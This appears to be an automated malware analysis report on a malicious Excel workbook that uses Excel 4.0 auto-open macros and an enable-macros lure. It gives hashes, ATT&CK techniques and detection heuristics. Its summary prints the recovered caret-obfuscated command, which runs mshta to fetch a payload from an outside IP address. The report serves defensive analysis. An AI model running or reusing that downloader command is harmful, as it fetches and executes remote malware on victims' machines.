Office (OLE) / .XLSX malware analysis — malicious · 708baaf025f75fa8

MALICIOUS

Office (OLE) / .XLSX

61.2 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel

MD5: 2cfbf2685ad71bfa7919e86d6f62e894 SHA-1: 27f73a85ecb9f82a05ebfc6563a75a98df9e89d3 SHA-256: 708baaf025f75fa82c574eb1da9af0b5cc5cc2db4f602eed6f4a976a8bd0d8fa

100 Risk Score

Malware Insights

MITRE ATT&CK

T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel file containing Excel 4.0 macros, indicated by the OLE_XLM_AUTOOPEN and OLE_XLM_AUTOOPEN_DEFINEDNAME heuristics. The document body presents a lure to enable macros. The extracted macro script defines a string that, when executed, constructs and runs the command 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html', which downloads a payload from the specified URL. This indicates a macro-based downloader attack.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `c5aad075e50422dc1116ac70939d41e0371d46cf42a38ecf99b5202042a44db6`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1374 bytes

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